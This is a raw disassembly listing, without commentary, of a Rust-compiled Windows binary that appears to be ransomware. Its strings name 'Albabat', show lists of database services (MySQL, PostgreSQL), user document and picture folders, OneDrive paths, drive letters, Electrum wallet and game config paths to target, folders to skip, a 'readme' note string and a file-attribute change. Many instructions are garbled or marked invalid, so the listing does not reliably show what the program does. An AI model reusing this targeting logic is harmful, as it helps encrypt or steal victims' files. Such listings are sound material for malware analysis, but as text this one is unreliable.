adc byte [rsp + 0x70], al
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x260], eax
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x260], eax
lea rax, str.srcmain.rs
jmp 0x140031d8f
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
or eax, dword [rax]
lea r8, str.srcmain.rs
mov edx, 0x2b
call fcn.1400a9e70
ud2
movaps xmmword [rbp + 0x4c0], xmm2
movaps xmmword [rbp + 0x4b0], xmm9
movdqa xmmword [rbp + 0x4a0], xmm8
jg 0x140031f95
movabs al, byte [0x490bd290f000004]
add byte [rax], al
jg 0x140031f95
movabs al, byte [0x490bd290f000004]
add byte [rax], al
mov ebp, 0x490
add al, 0
add byte [rdi], cl
sub dword [rbp + 0x480], esi
movaps xmmword [rbp + 0x480], xmm6
mov qword [rbp + 0x478], 0xfffffffffffffffe
mov r14, r8
mov rsi, rdx
mov esi, edx
mov esi, edx
mov r15, rcx
movzx eax, byte [rdx + 0x41]
lea rcx, [0x1400ef5e8]
cmpsd dword [rsi], dword [rdi]
invalid
or eax, dword [rax]
cmpsd dword [rsi], dword [rdi]
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [rsi + 0x40], 0
lea rcx, [rbp + 0x2f0]
call fcn.140029ac0
movzx ecx, byte [rbp + 0x30b]
mov r13, qword [rbp + 0x2f0]
add byte [rax], al
add byte [rax - 0x73], cl
invalid
add byte [rax], al
cmp cl, 2
jne 0x1400320b7
mov r12, qword [rbp + 0x2f8]
jmp 0x140037719
push rsi
add byte [rax], al
push rsi
add byte [rax], al
lea rbx, [rsi + 0x48]
movzx eax, byte [rsi + 0x48]
lea rcx, [0x1400ef5fc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
add eax, 0xc721e
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140034e0e
jmp 0x140034df5
mov rax, qword [rbp + 0x2f8]
mov eax, dword [rbp + 0x2f8]
mov rdx, qword [rbp + 0x300]
mov r8d, dword [rbp + 0x307]
invalid
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x7b], al
ja 0x1400320d2
add byte [rax], al
mov qword [rbp + 0x170], rdx
mov edx, dword [rbp + 0x30c]
mov qword [rsi], r13
mov qword [rsi + 8], rax
mov r8, qword [rbp + 0x170]
add byte [rcx + rcx*4 + 0x46], cl
adc byte [rbx + rcx*4 - 0x7b], al
ja 0x1400320f8
add byte [rax], al
invalid
add byte [rcx + rcx*4 + 0x46], cl
adc byte [rbx + rcx*4 - 0x7b], al
ja 0x1400320f8
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], al
invalid
mov dword [rsi + 0x17], r8d
mov byte [rsi + 0x1b], cl
mov dword [rsi + 0x1c], edx
cmp byte [rsi + 0x19], 0
jne 0x14003634f
cmp byte [rsi + 0x18], 0
jne 0x14003634f
lea rcx, [rbp + 0x2f0]
call fcn.140081ae0
cmp byte [rbp + 0x308], 2
je 0x14003741d
mov rdx, qword [rbp + 0x2f0]
mov rbx, qword [rbp + 0x2f8]
mov r8, qword [rbp + 0x300]
lea rcx, [rbp + 0x2f0]
mov qword [rbp + 0x2a0], rdx
call fcn.1400433d0
cmp qword [rbp + 0x2f0], 0
jne 0x140037458
push rdx
add byte [rax], al
push rdx
add byte [rax], al
mov rdi, qword [rbp + 0x2f8]
mov r13, qword [rbp + 0x300]
test r13, r13
je 0x1400338df
js 0x14003718b
movzx eax, byte [0x1400f92c0]
mov edx, 1
mov rcx, r13
call fcn.14003e500
mov r12, rax
test rax, rax
jne 0x1400338e5
test dword [rdx + 0x17], eax
add byte [rax], al
test dword [rdx + 0x17], eax
add byte [rax], al
mov ecx, 1
mov rdx, r13
call fcn.1400a9bd0
ud2
popfq
push rax
add al, 0
add byte [rcx + rcx*4 - 0x4b], cl
cwde
add byte [rax], al
add byte [rax + 0xf00687e], al
test ebp, ebp
push rcx
add byte [rax], al
mov rbx, qword [rsi + 0x50]
mov rdi, qword [rsi + 0x58]
mov r14, qword [rsi + 0x60]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x98]
test rax, rax
je 0x1400322c6
add rax, 0x110
jmp 0x1400322cb
lea rbx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
mov rdx, rbx
mov r8, r14
call fcn.14002e260
cmp qword [rbp + 0x2f0], 0
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
je 0x140032262
mov al, 0xb
mov rbx, qword [rbp + 0x450]
jmp 0x1400379b8
mov r13, qword [rbp + 0x2f8]
mov r12, qword [rbp + 0x300]
cmp byte [rsi + 0x3f8], 3
jne 0x1400322b1
lea rcx, [rsi + 0x178]
call fcn.14000bae0
cmp qword [rsi + 0x168], 0
je 0x1400322a5
mov r8, qword [rsi + 0x160]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x90]
call fcn.14000aca0
test r13, r13
je 0x140033ab5
mov rbx, qword [rbp + 0x450]
jmp 0x1400377e4
call fcn.1400685e0
mov rax, qword [rax]
mov r8, qword [rax + 0x210]
xor eax, eax
cmp r14, 0xffffffffffffffff
sete al
cmp rax, r8
cmova r8, rax
lea rax, [rbp + 0x170]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
mov r9d, 1
mov rcx, r14
xor edx, edx
call fcn.1400123f0
test rdi, rdi
je 0x140032322
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsi + 0x68], 1
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140032352
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140037192
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x50
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140037192
mov rbx, rax
movups xmm0, xmmword [0x1400bc078]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [0x1400bc068]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x1400bc058]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1400bc048]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [str.MySQL57MySQL80MySQL82postgresql_x64_14postgresql_x64_15]
movdqu xmmword [rax], xmm0
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 5
mov qword [rsi + 0x60], 5
mov byte [rsi + 0x68], 0
mov r14d, 5
mov edi, 5
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x98]
test rax, rax
je 0x1400323ee
add rax, 0x110
jmp 0x1400323f3
call fcn.1400685e0
mov rax, qword [rax]
mov r8, qword [rax + 0x210]
xor eax, eax
cmp r14, 0xffffffffffffffff
sete al
cmp rax, r8
cmova r8, rax
lea rax, [rbp + 0x170]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
mov r9d, 1
mov rcx, r14
xor edx, edx
call fcn.140010c30
test rdi, rdi
je 0x14003244a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x470], r15
mov byte [rsi + 0x68], 1
lea rdx, [0x1400b24c4]
lea rcx, [rbp + 0x2f0]
mov r8d, 0xb
call fcn.14007ff70
movzx eax, byte [rbp + 0x308]
cmp al, 2
je 0x140037137
mov r15, qword [rbp + 0x2f0]
mov r12, qword [rbp + 0x2f8]
mov r8, qword [rbp + 0x300]
lea r13, [rbp + 0x309]
test al, al
je 0x1400329a7
mov qword [rsp + 0x20], 7
lea r9, [0x1400b239c]
lea rcx, [rbp + 0x2f0]
mov rdx, r15
call fcn.1400863b0
mov rbx, qword [rbp + 0x2f0]
mov r14, qword [rbp + 0x300]
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea rcx, [rbp + 0xa0]
xor r8d, r8d
call fcn.14000f9e0
mov rdi, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xb0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x170]
mov rdx, rbx
mov r8, r14
mov r9, rdi
call fcn.1400863b0
cmp qword [rbp + 0xa8], 0
je 0x140032528
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2f8], 0
je 0x140032544
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
je 0x14003255b
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rbp + 0x170]
mov r15, qword [rbp + 0x178]
mov rdi, qword [rbp + 0x180]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x98], 0
jne 0x140032592
call fcn.1400685e0
mov rcx, rbx
mov rdx, rdi
call fcn.1400841f0
test rax, rax
je 0x140032603
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140032603
test rcx, rcx
je 0x140032603
mov rdi, rax
dec rdi
mov r14, qword [rax - 1]
mov r12, qword [rax + 7]
mov rcx, r14
call qword [r12]
cmp qword [r12 + 8], 0
je 0x1400325f1
cmp qword [r12 + 0x10], 0x11
jb 0x1400325df
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x14003261a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400b24c4]
lea rcx, [rbp + 0x2f0]
mov r8d, 0xb
call fcn.14007ff70
movzx eax, byte [rbp + 0x308]
cmp al, 2
je 0x14003713b
mov r12, qword [rbp + 0x2f0]
mov r15, qword [rbp + 0x2f8]
mov r8, qword [rbp + 0x300]
test al, al
je 0x140032a47
mov qword [rsp + 0x20], 7
lea r9, [0x1400b239c]
lea rcx, [rbp + 0x2f0]
mov rdx, r12
call fcn.1400863b0
mov rbx, qword [rbp + 0x2f0]
mov r14, qword [rbp + 0x300]
lea rdx, str.readme
lea rcx, [rbp + 0x170]
mov r8d, 6
call fcn.14000f9e0
mov rdi, qword [rbp + 0x170]
mov rax, qword [rbp + 0x180]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x2a8]
mov rdx, rbx
mov r8, r14
mov r9, rdi
call fcn.1400863b0
cmp qword [rbp + 0x178], 0
je 0x1400326e9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2f8], 0
je 0x140032705
test r8, r8
je 0x1400324a1
lea rax, [r15 + r8]
mov rdx, r15
jmp 0x1400329dc
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x1400324a1
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x1400329d0
cmp r9b, 0xe0
jb 0x1400329b9
cmp r9b, 0xed
jne 0x140032a1e
cmp rcx, rax
je 0x1400324a1
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x1400324a1
cmp byte [rdx + 1], 0x9f
ja 0x1400371a3
add rdx, 3
mov rcx, rdx
jmp 0x1400329d0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x1400329d0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x1400329d0
test r8, r8
je 0x14003265f
lea rax, [r12 + r8]
mov rdx, r12
jmp 0x140032a7c
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x140032a70
mov eax, dword [rbp + 0x420]
mov ecx, dword [rbp + 0x423]
mov dword [rbp + 0x8c], eax
mov dword [rbp + 0x8f], ecx
mov dword [rbp + 0x93], r12d
shr r12, 0x20
mov byte [rbp + 0x97], r12b
lea rdx, str.AppDataRoamingElectrumwalletsAppDataRoamingJetBrainsC:Program_Files__x86_Steam_steamappscommonCounter_Strike_Global_OffensivegamecsgocfgD:Games_steamappscommonCounter_Strike_Global_OffensivegamecsgocfgD:Steam_steamappscommonCounter_Strike_Global_Offensivegamecsgocfg
lea rcx, [rbp + 0x2f0]
mov r8d, 5
call fcn.14001a690
mov rdi, qword [rbp + 0x2f0]
mov r8, qword [rbp + 0x300]
lea rcx, [rbp + 0x10]
mov rdx, rdi
call fcn.1400238a0
cmp qword [rbp + 0x2f8], 0
je 0x1400337bb
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmmword [rbp + 0x300], xmm7
movups xmmword [rbp + 0x2f0], xmm6
lea rbx, str..abbt
mov qword [rsp + 0x40], rbx
lea r14, str.ntuser.datThumbs.db.DS_Store
mov qword [rsp + 0x30], r14
lea r12, str.node_modules_cache_tkinter_vendor_
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x50], 0x500000
mov qword [rsp + 0x48], 0x47
mov qword [rsp + 0x38], 3
mov qword [rsp + 0x28], 4
lea rcx, [rbp + 0x170]
lea rdx, [rbp + 0x10]
lea r8, [rbp + 0x2f0]
lea r9, [rbp + 0x8c]
call fcn.14001e9a0
mov r13, qword [rbp + 0x170]
test r13, r13
je 0x140033b13
mov r12, qword [rbp + 0x178]
jmp 0x1400377ef
mov r12d, 1
mov rcx, r12
mov rdx, rdi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14003391f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140037361
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 1
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140037361
mov qword [rbp + 0x458], rbx
mov qword [rbp + 0x98], r14
mov qword [rbp + 0x470], r15
mov byte [rax], 0x5c
mov qword [rsp + 0x20], 1
lea rdi, [rbp + 0x2f0]
mov rcx, rdi
mov qword [rbp + 0x468], r12
mov rdx, r12
mov r8, r13
mov qword [rbp + 0x2d8], rax
mov r9, rax
call fcn.1400452f0
mov qword [rbp + 0x358], 0
mov qword [rbp + 0x360], r13
mov word [rbp + 0x368], 1
xor ebx, ebx
lea r15, [rbp + 0x170]
nop word cs:[rax + rax]
mov r12, qword [rbp + 0x338]
mov rcx, r15
mov rdx, rdi
call fcn.1400170b0
cmp qword [rbp + 0x170], 0
je 0x1400339ff
mov r14, qword [rbp + 0x178]
mov rax, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x358]
add r12, rcx
sub r14, rcx
mov qword [rbp + 0x358], rax
cmp byte [rbp + 0x369], 0
mov rbx, r12
je 0x1400339b0
jmp 0x140033dec
cmp byte [rbp + 0x369], 0
je 0x140033af3
test rbx, rbx
jne 0x140033def
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.srcutilitiescatch.rs
mov edx, 0x2b
call fcn.1400a9e70
ud2
mov qword [rbp + 0x98], r14
lea rdx, [0x1400bbea0]
lea rcx, [rbp + 0x2f0]
mov r8d, 0x16
call fcn.14001a690
mov rax, qword [rbp + 0x300]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rbp + 0x2f0]
movups xmmword [rbx], xmm0
mov byte [rsi + 0x68], 0
jmp 0x1400321ca
cmp byte [rbp + 0x368], 0
je 0x140033dc8
mov r12, qword [rbp + 0x358]
mov rax, qword [rbp + 0x360]
jmp 0x140033ddf
mov r15, qword [rbp + 0x178]
movups xmmword [rbp + 0x300], xmm7
movups xmmword [rbp + 0x2f0], xmm6
lea rcx, [rbp + 0x170]
lea rdx, [rbp + 0x2f0]
lea r8, [rbp + 0x8c]
call fcn.14001e570
mov r13, qword [rbp + 0x170]
test r13, r13
jne 0x140033c2c
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x468], rax
lea rdx, str.DocumentsDocumentosOneDriveDocumentsOneDriveDocumentosPicturesImagesImgenesImagensOneDrivePicturesOneDriveImagesOneDriveImgenesOneDriveImagensOneDriverea_de_TrabalhoOneDriverea_de_trabajoOneDriveDesktopOneDriveContactsOneDriveContactosOneDriveCofre_PessoalOneDrivePersonal_SafeD:PicturesD:ImagesD:ImgenesD:ImagensD:DocumentsD:DocumentosC:UsersPublicDocumentsC:UsersPublicPicturesCLionProjectsPyCharmProjectsIntelliJProjectsRustroverProjectsOneDriveA:B:E:F:G:H:I:J:X:D:DownloadsD:Downloads
lea rcx, [rbp + 0x2f0]
mov r8d, 0x2e
call fcn.14001a690
mov rdi, qword [rbp + 0x2f0]
mov r8, qword [rbp + 0x300]
lea rcx, [rbp - 8]
mov rdx, rdi
call fcn.1400238a0
cmp qword [rbp + 0x2f8], 0
je 0x140033baf
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmmword [rbp + 0x300], xmm7
movups xmmword [rbp + 0x2f0], xmm6
mov qword [rsp + 0x40], rbx
lea rax, [0x1400d6888]
mov qword [rsp + 0x30], rax
lea rax, str.Albabat_Searches_AppData_Program_Files_ProgramData_All_Users_Windows__WinREAgent_System_Volume_Information_steamapps_ansel_tmp_tcl_target_venv_env_Mozilla_Chrome_pypoetry_vimfiles_viminfo_site_packages_scoop_go_
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x50], 0x500000
mov qword [rsp + 0x48], 0x47
mov qword [rsp + 0x38], 0xa
mov qword [rsp + 0x28], 0x1c
lea rcx, [rbp + 0x170]
lea rdx, [rbp - 8]
lea r8, [rbp + 0x2f0]
lea r9, [rbp + 0x8c]
call fcn.14001e9a0
mov r13, qword [rbp + 0x170]
test r13, r13
je 0x140035581
mov r12, qword [rbp + 0x178]
mov r15, qword [rbp + 0x470]
jmp 0x1400377ef
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400377ef
mov r12, qword [rbp + 0x358]
mov rax, qword [rbp + 0x360]
cmp rax, r12
je 0x140033a0c
sub rax, r12
add r12, qword [rbp + 0x338]
mov r14, rax
mov rbx, r12
test r14, r14
mov rdi, qword [rbp + 0x468]
je 0x140033e2c
js 0x14003718b
movzx eax, byte [0x1400f92c0]
mov edx, 1
mov rcx, r14
call fcn.14003e500
mov rcx, rax
test rax, rax
jne 0x140033e31
mov ecx, 1
mov rdx, r14
call fcn.1400a9bd0
ud2
mov ecx, 1
mov qword [rbp + 0x450], rcx
mov rdx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
test r13, r13
je 0x140033e5a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x458], 0
je 0x140033e7a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x2a0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x2d8]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x2f0]
call fcn.140081ae0
cmp byte [rbp + 0x308], 2
je 0x140037171
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x458], rax
mov rdi, qword [rbp + 0x2f8]
mov rax, qword [rbp + 0x300]
mov qword [rbp + 0x2d8], rax
lea rcx, [rbp + 0x2f0]
call fcn.140081ae0
cmp byte [rbp + 0x308], 2
je 0x140037171
mov rbx, qword [rbp + 0x2f0]
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x2a0], rax
mov r8, qword [rbp + 0x300]
lea rcx, [rbp + 0x2f0]
mov rdx, rbx
call fcn.1400433d0
xor edx, edx
cmp qword [rbp + 0x2f0], 0
mov r9, qword [rbp + 0x2f8]
cmove rdx, r9
jne 0x140037472
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x440], rdi
mov rax, qword [rbp + 0x300]
lea r8, [r9 + rax]
mov cl, 1
test rax, rax
je 0x140034089
xor r12d, r12d
lea r11, [0x1400eb37f]
xor r10d, r10d
jmp 0x140033f79
cmp r9, r8
je 0x1400341ad
mov rbx, r9
mov rax, r10
movzx r9d, byte [r9]
movzx edi, r9b
test dil, dil
js 0x140033f92
lea r9, [rbx + 1]
jmp 0x140034010
mov r10d, edi
and r10d, 0x1f
movzx r13d, byte [rbx + 1]
and r13d, 0x3f
cmp dil, 0xdf
jbe 0x140033fe8
movzx r15d, byte [rbx + 2]
shl r13d, 6
and r15d, 0x3f
or r15d, r13d
cmp r9b, 0xf0
jb 0x140033ff8
lea r9, [rbx + 4]
movzx edi, byte [rbx + 3]
and r10d, 7
shl r10d, 0x12
shl r15d, 6
and edi, 0x3f
or edi, r15d
or edi, r10d
cmp edi, 0x110000
jne 0x140034010
jmp 0x1400348ab
lea r9, [rbx + 2]
shl r10d, 6
or r10d, r13d
mov edi, r10d
jmp 0x140034010
lea r9, [rbx + 3]
shl r10d, 0xc
or r15d, r10d
mov edi, r15d
nop word cs:[rax + rax]
mov r10, r9
sub r10, rbx
add r10, rax
lea ebx, [rdi - 9]
cmp ebx, 5
jb 0x140033f70
cmp edi, 0x20
je 0x140033f70
cmp edi, 0x80
jb 0x140034082
xor r10d, r10d
xor r12d, r12d
cmp r9, r8
je 0x1400341a9
mov rdi, r8
movzx ebx, byte [r8 - 1]
test bl, bl
js 0x1400340ad
lea r8, [rdi - 1]
movzx ebx, bl
jmp 0x140034113
movzx r15d, byte [rdi - 2]
cmp r15b, 0xc0
jge 0x1400340dd
movzx r13d, byte [rdi - 3]
cmp r13b, 0xc0
jge 0x1400340e7
lea r8, [rdi - 4]
movzx r11d, byte [rdi - 4]
and r11d, 7
shl r11d, 6
and r13d, 0x3f
or r13d, r11d
jmp 0x1400340ef
lea r8, [rdi - 2]
and r15d, 0x1f
jmp 0x1400340fa
lea r8, [rdi - 3]
and r13d, 0xf
shl r13d, 6
and r15d, 0x3f
or r15d, r13d
shl r15d, 6
and bl, 0x3f
movzx ebx, bl
or ebx, r15d
cmp ebx, 0x110000
je 0x1400341a9
lea r11d, [rbx - 9]
cmp r11d, 5
jb 0x14003408f
cmp ebx, 0x20
je 0x14003408f
test cl, cl
je 0x1400341af
xor eax, eax
add rdx, rax
sub r12, rax
mov qword [rsp + 0x20], 1
lea r9, [0x1400e9ac8]
lea rdi, [rbp + 0x170]
mov rcx, rdi
mov r8, r12
call fcn.1400452f0
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x1e0], r12
mov word [rbp + 0x1e8], 1
mov r15, qword [rbp + 0x1b8]
lea rcx, [rbp + 0x2f0]
mov rdx, rdi
call fcn.1400170b0
cmp qword [rbp + 0x2f0], 0
je 0x140034320
mov rdi, qword [rbp + 0x2f8]
mov rax, qword [rbp + 0x300]
mov rcx, qword [rbp + 0x1d8]
add r15, rcx
sub rdi, rcx
mov qword [rbp + 0x1d8], rax
movzx eax, byte [0x1400f92c0]
mov ecx, 0x40
mov edx, 8
call fcn.14003e500
test rax, rax
je 0x140037372
mov rbx, rax
mov qword [rax], r15
mov qword [rax + 8], rdi
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x2b0], 4
mov qword [rbp + 0x2b8], 1
movups xmm0, xmmword [rbp + 0x1e0]
movaps xmmword [rbp + 0x360], xmm0
movups xmm0, xmmword [rbp + 0x1d0]
movaps xmmword [rbp + 0x350], xmm0
movups xmm0, xmmword [rbp + 0x1c0]
movaps xmmword [rbp + 0x340], xmm0
movups xmm0, xmmword [rbp + 0x1b0]
movaps xmmword [rbp + 0x330], xmm0
movdqu xmm0, xmmword [rbp + 0x170]
movdqu xmm1, xmmword [rbp + 0x180]
movdqu xmm2, xmmword [rbp + 0x190]
movdqu xmm3, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x320], xmm3
movdqa xmmword [rbp + 0x310], xmm2
movdqa xmmword [rbp + 0x300], xmm1
movdqa xmmword [rbp + 0x2f0], xmm0
mov r13d, 1
cmp byte [rbp + 0x369], 0
je 0x140034611
mov r12, qword [rbp + 0x2a8]
mov rax, qword [rbp + 0x2b0]
mov qword [rbp + 0x448], rax
jmp 0x14003433f
cmp byte [rbp + 0x1e9], 0
je 0x14003470b
mov r12d, 8
xor eax, eax
mov qword [rbp + 0x448], rax
xor r13d, r13d
lea rdx, str.APPDATA
lea rcx, [rbp + 0x2f0]
mov r8d, 7
call fcn.14007ff70
movzx eax, byte [rbp + 0x308]
cmp al, 2
je 0x14003748c
mov edi, 0x18
jmp 0x14003466b
mov r15, qword [rbp + 0x338]
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x2f0]
call fcn.1400170b0
cmp qword [rbp + 0xa0], 0
jne 0x140034618
mov byte [rbp + 0x1e9], 1
cmp byte [rbp + 0x1e8], 0
je 0x140034786
mov r15, qword [rbp + 0x1d8]
mov rdi, qword [rbp + 0x1e0]
jmp 0x14003479d
mov r15, qword [rbp + 0x1d8]
mov rdi, qword [rbp + 0x1e0]
cmp rdi, r15
je 0x14003432d
sub rdi, r15
add r15, qword [rbp + 0x1b8]
jmp 0x140034238
mov r10, rax
jmp 0x14003408f
loop 0x14003496e
and ecx, 0x3f
or ecx, r10d
or ecx, eax
mov r10d, ecx
jmp 0x14003498d
add eax, ecx
loopne 0x140034996
or r10d, eax
cmp r10d, 0xffff
jbe 0x1400349c1
lea ecx, [r10 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
add al, bl
add byte [rax], al
add al, bl
add byte [rax], al
and r10d, 0x3ff
or r10d, 0xdc00
add byte [rax], al
add byte [rax], al
mov eax, 2
mov edi, r10d
mov r10d, ecx
jmp 0x1400349c8
mov eax, 1
xor edi, edi
mov rdx, r9
sub rdx, rbx
add rdx, 3
mov rcx, 0xffffffffffffffff
cmovae rcx, rdx
shr rcx, 2
add rcx, rax
add ecx, eax
mov r13w, 1
mov qword [rbp + 0x48], r10
mov qword [rbp + 0x468], r9
cmp rcx, 4
stc
add al, 0x41
mov esp, 3
stc
add al, 0x41
mov esp, 3
cmovae r12, rcx
movabs rax, 0x3fffffffffffffff
cmp r12, rax
jae 0x14003718b
invalid
add byte [rax], al
invalid
lea r15, [r12*2 + 2]
movzx eax, byte [0x1400f92c0]
mov edx, 2
mov rcx, r15
call fcn.14003e500
invalid
add byte [rax], al
test rax, rax
je 0x140037490
invalid
inc r12
mov rcx, qword [rbp + 0x48]
mov word [rax], cx
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], r12
mov qword [rbp + 0x300], 1
mov r12d, 1
mov r9, qword [rbp + 0x468]
jmp 0x140034a93
xor ecx, ecx
mov r15d, edi
cmp r12, qword [rbp + 0x2f8]
je 0x140034b3e
invalid
add byte [rax], al
invalid
mov esp, 0x89000000
iretd
mov edi, ecx
mov word [rax + r12*2], r15w
inc r12
mov qword [rbp + 0x300], r12
test rbx, rbx
je 0x140034ac0
test di, di
jne 0x140034a70
cmp rbx, r9
je 0x140034ac0
movzx edx, byte [rbx]
movzx r15d, dl
test r15b, r15b
js 0x140034aed
inc rbx
xor ecx, ecx
jmp 0x140034a75
cmp r13w, 1
jne 0x140034beb
xor r13d, r13d
mov ebx, 0
mov r15d, 0
mov r8d, 0
cmp r12, qword [rbp + 0x2f8]
jne 0x140034a84
jmp 0x140034b6f
mov ecx, r15d
and ecx, 0x1f
movzx r8d, byte [rbx + 1]
and r8d, 0x3f
cmp r15b, 0xdf
jbe 0x140034b94
movzx r15d, byte [rbx + 2]
shl r8d, 6
and r15d, 0x3f
or r15d, r8d
cmp dl, 0xf0
jb 0x140034ba8
mov rax, r9
sub rax, rbx
add rax, 3
mov rdx, 0xffffffffffffffff
cmovb rax, rdx
shr rax, 2
xor r8d, r8d
test cx, cx
setne r8b
cmp r13w, 1
sbb r8, 0xffffffffffffffff
add r8, rax
mov edi, ecx
inc r8
lea rcx, [rbp + 0x2f0]
mov rdx, r12
call fcn.1400ae2f0
mov r9, qword [rbp + 0x468]
mov rax, qword [rbp + 0x2f0]
jmp 0x140034a84
add rbx, 2
shl ecx, 6
or ecx, r8d
mov r15d, ecx
xor ecx, ecx
jmp 0x140034a75
fadd qword [rax]
add byte [rcx + rcx*4 - 7], al
mov r15d, edx
jmp 0x140034a75
mov rdi, qword [rbp + 0x2f0]
mov rbx, qword [rbp + 0x2f8]
mov rcx, rdi
mov edx, 2
call sub.kernel32.dll_SetFileAttributesW
test rbx, rbx
je 0x140034c1d
mov rcx, qword [0x1400f91f8]
xor edx, edx
